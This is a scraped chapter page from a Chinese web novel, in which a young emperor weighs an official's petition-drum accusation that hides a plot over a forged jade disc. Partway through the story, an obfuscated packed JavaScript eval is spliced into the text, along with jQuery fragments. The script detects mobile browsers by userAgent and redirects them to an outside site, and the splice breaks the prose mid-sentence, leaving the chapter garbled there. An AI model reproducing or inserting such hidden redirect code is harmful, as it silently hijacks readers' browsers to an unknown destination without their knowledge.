默认冷灰
24号文字
方正启体

59. 玉石俱焚

作者:迦黎本书字数:K更新时间:
    咳咳,


    沉闷的咳嗽声在被炭火烘烤得暖洋洋的御书房中回荡,


    鲜血的血液晕湿了手帕,楚知默却像是毫无察觉一般,平静地擦了擦嘴角残留的血迹,目光被那扇半开着的窗户吸引了过去,


    漫天白雪随风飞扬,像是天空撒下的最洁白,最神圣的尘埃。


    一股熟悉的苦味从暖意中飘来,钻进了她的鼻子,将她的思绪拉回了书房,


    果不其然,赵齐端着一碗黑乎乎的药走了进来。


    她下意识将手帕藏了起来,敛起了空白的神色,


    “陛下,该喝药了。”


    楚知默在心底里叹了口气,她实在不知道这些药到底有什么用?


    张太医说得很清楚,噬心毒没有解药,但是谢既明和赵齐,一个乐此不疲地往宫里送药材,一个孜孜不倦地喂她喝药。


    苦涩的药液顺着喉咙滑到胃里,一股黏腻的恶心感油然而生,她赶紧吃了口蜜饯才勉强压下去,但口中仍旧残留下了药的味道,


    久久挥散不去,


    似有所感,楚知默转头望向了窗外,耳边似乎有声音,从很远的地方传来,透过这场漫天大雪。


    “那是什么声音?”


    可屋内的赵齐并没有听到,有些的疑惑地顺着楚知默的视线看了过去,但依旧没有察觉到什么异常,


    “没有啊,陛下,你听到什么了?”


    若说那是什么,她也不知道,但是好像是冥冥之中,她预感到即将要发生什么,或是已经发生了什么,


    京都不过片刻就陷在了一片雪白之中,一串串脚印印在宫道上,直奔御书房去,


    没多久,门外传来的焦急的通报声,一个小太监着急忙慌地赶来,跪在了地上,额头上布满了细细密密的汗珠,


    “陛下,有人敲响了登闻鼓!”


    屋内好不容易积攒起来的热气,随着小太监的进门,瞬间被初雪的寒冷所驱散。


    京都城外,白雪纷飞,一个身着布衣的男人高高举着鼓槌,狠狠地砸向鼓面,悠远绵长的鼓音如同一道道雷声,震碎了覆盖在京都之上,那层薄薄的雪,


    叶听白不知疲倦地一遍又一遍敲响登闻鼓,


    与漫天飞舞的白雪遥遥相对,即使它们掺着冷风化成冰刃,无情地划过他的身体,可他的眼中却并没有一丝退却之意,


    那种义无反顾的决心比冬日中的暖阳还要刺眼,


    “咚——”


    朔风卷雪,终将鼓声传遍了京都的每一处,


    咚——


    被冻得发紫的关节丝毫没有影响他敲下鼓的每一次力度,嘶哑的声音终在一道道鼓声中如烟花般炸开,


    “礼部尚书之子,李闻淮枉顾大梁礼法,因一己私欲,买凶杀人,残害百余条性命!臣叶听白,叩请陛下,为无辜枉死之人雪冤!天理昭昭,亡者不暝,生者不悔!”


    大雪越下越急,染白了他的发髻,却将他的声音送到了更远的地方,


    那一声声鼓响,一句句不悔,让这场初雪注定不凡。


    延英殿内,楚知默脸色苍白,强压下心中的莫名的悸动,上下打量了一眼跪在殿内之人,


    不过四十年华的男人虽有些狼狈,但却并无大伤,


    河西节度使,叶听白,三件灭门惨案的第二件受害人,


    殿内鸦雀无声,叶听白规规矩矩地跪在的地上,无声的压迫感扑面而来,皇帝如有实质的目光带着帝王的威严,毫不留情地压弯了他的脊梁,


    天下谁人不知,当今圣上不过十五六岁的稚子,是他摄政王一手扶上来的傀儡,昏庸无能,碌碌无为。


    可当叶听白见到他的第一眼时,心中翻涌起了不一样的风浪,


    难怪,难怪那人会那么肯定地说,只要他能敲响那登闻鼓,皇帝定会为他雪冤。


    少年帝王虽身形单薄,稚气未脱,但眼中清明,步伐稳健。明黄色的龙袍衬出了少年眼中的威严,举手投足间尽是帝王之仪。


    “亡者不暝,生者不悔。”


    略微凉薄的声音从头顶传来,震得叶听白心中发麻,他咬了咬舌尖,磕在地上的头始终没有抬起来,


    “是!臣绝不悔!”


    楚知默眼底一暗,脸色也冷下了几份,


    “你说,你要状告礼部尚书之子,买凶杀人,残害无辜,可有证据?”


    叶听白脊背发凉,坚定地说道,


    “臣有,李闻淮嚣张跋扈,横行街里,目无法纪,曾在花满楼内向众人袒露,鬼市买凶,杀害了薛家满门,只因那薛家公子曾对他出言不逊。当日花满楼内众人皆可作证。”


    他这话一出,一声冷笑回荡在空荡的延英殿内,


    叶听白的两鬓早已被冷汗浸湿。


    还真是可笑,楚知默有些不可置信地望着这位死里逃生,敲响了登闻鼓的节度使,再开口时,语气中难掩质疑,


    “这就是你的证据?几句醉酒的疯话,几个来历不明之人的证词?节度使,你有胆子将你最后所说的那句亡者不暝再重复一遍吗?”


    且不说这份证词可不可信,就算是真的好了,薛家是他李闻淮买凶杀的人,那其余两案呢?一个天高地远的河西节度使是怎么得罪了千里之外的李闻淮,


    值得他千里昭昭买凶杀害他?


    “因为他要杀的不是臣,而是凉州刺史,林渡。”


    楚知默对这个林渡有印象,据说是失踪了。


    这下,她的眼神耐人寻味了起来,想来,这才是今日这登闻鼓被敲响的真正原因。


    “接着说,”


    紧接着,叶听白将那日与林渡交谈的经过,事无巨细地交代了一遍。


    那日,他深知这件事的严重程度,所以基本是马不停蹄地出去求助,只是他留了个心眼,趁着没人注意时,从后门溜走了,


    结果当晚,他家仅剩了两个老仆都被屠杀了,而他这一路同样危机四伏,几次死里逃生,才终于到了京都。


    这故事听着倒是没什么问题,但楚知默又不是真傻,怎能听不出他话中的避重就轻。


    若林渡所说是怎么,玉璧当真被替换了,那为什么他前脚到了河西节度使府后,后脚,就有人来灭口了?


    这个时机会不会太巧了?


    若幕后之人知道了林渡前去河西节度使府的目的,完全就可以在半路截杀,或是更早,而林渡又为什么会失踪?


    再说他叶听白,若真如他所说,他来京城是为了玉璧之事,又是怎么查到了刺杀的真相,和京城所发生的事?


    他一个人不仅要躲避着追杀,还有马不停蹄地往京都赶,他怎会是现在这个仅仅衣角沾灰的模样?


    若他背后没人推他出来,搅动这件事,楚知默把脑袋揪下来给他们玩。


    但这些,在真假玉璧这件事前都是那么的微不足道。


    晋国的玉璧被替换成了假的?


    还是在他凉州境内,目的是什么?


    这次朝会,晋国来势汹汹,却带了个假玉璧,这件事若真闹起来,与他们并没有益处?


    监守自盗又太过于画蛇添足。


    那


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457764|185363||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    还会是何人在搅动这件事?


    她的脑仁此刻疼得厉害,仿佛被无数根细针刺探着她的神经,


    从头到尾将这件事捋了一遍下来,无外乎几种可能,


    而她能想到将这场闹剧推向顶峰的便是在朝会上揭穿假玉璧之事。


    到时,晋国势必会被推到风口浪尖上,两国之间的纷争也会被这件事推上顶峰。


    这场仗,避无可避。


    晋国本就虎视眈眈,若这次他们撕破了脸,也许正合了他们的意,


    想了半天,楚知默的脑袋越想越糊涂,这件事处处都透露着不和谐的诡异感,她除了最开始听到玉璧是假的有些震惊外,只剩下了满肚子的疑惑和不解。


    她皱紧了眉头,余光瞥过还跪在地上的人,眼底晦涩不明,


    “节度使,”


    突然被点了名字的叶听白浑身一僵,但立马反应了过来,回到,“臣在。”


    “登闻鼓一敲,便没了回头路,送你来之人可告诉了你敲响登闻鼓的代价?”


    叶听白没想到皇帝会说的如此直白,胸膛里的心剧烈的跳动了一下,紧接着慢慢沉寂了下来,


    “亦余心之所善兮,虽九死其犹未悔。”


    从他知道家中之人被屠时,他甚至此事绝对非同小可,


    他不过是个区区的节度使,一个早就该死了的人,若能成为一颗棋,让他的国家免于战乱,得以生息,别说是那登闻鼓,就算是上刀山下火海,今日,他也闯的。


    李闻淮不过是个幌子,是不是他买凶杀人已经不重要了,没有证据,没有凶手,不过是他空口白牙,这件事注定没有定论,


    他状告李闻淮不过是想要将玉璧之事捅出来,却不引起幕后之人的注意。


    他叶听白为官十余年,政绩平平,也无大才,若能以此单薄之身,换掉他大梁一劫难,他值大发了。


    就如他所料那般,空口诬告尚书之子,叶听白被下诏狱。


    谢既明从屏风后走了出来,脸色并不好看,他看着玉石俱焚却毫无怨言的叶听白的背影,心里堵得满满当当,让他喘不过气来。


    对策划怂恿叶听白敲登闻鼓之人,涌起了滔天的恨意。


    那人肆无忌惮地利用了一个忠臣的善良和正直,让他心甘情愿去赴死,


    但这只不过他们不得而知的计划中的小小一步罢了。


    一条命,在他们眼中怎么就这么不值钱?


    他还是有些不忍,止不住上前,想要为他求情,“陛下,你明知他是为了玉璧之事,为何不能饶恕他···”


    这话,就像是刀子扎在楚知默的心上,


    饶恕?她拿什么饶恕他,叶听白状告的是当朝尚书之子,为了见她一面大张旗鼓地敲了登闻鼓,京城中有多少双眼睛都死死盯着这儿呢!


    而礼部又是什么善茬吗?


    她还没有忘记当年武僧之乱中,礼部管理者天底下大大小小寺庙僧人数量的统计和管理,当年之事恐怕他们更是深陷其中。


    那礼部的背后又是谁呢?


    礼部能在裴寂也和左高卓撕成这样的朝堂上,面上不站队不奉承,却还能经久不衰,她不相信李声远的背后没人。


    如果今日她放了叶听白,明日,恐怕街头上只会多出一具尸体,尸体上盖着似是而非的证词吧。


    不,或许,还有大晋,玉璧之事,一个小小的凉州刺史都能看穿进献的宝物被掉了包,他们是瞎了眼睛还是瞎了心,一路上居然没有一个人发现,


    他们又在其中充当了什么角色?
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)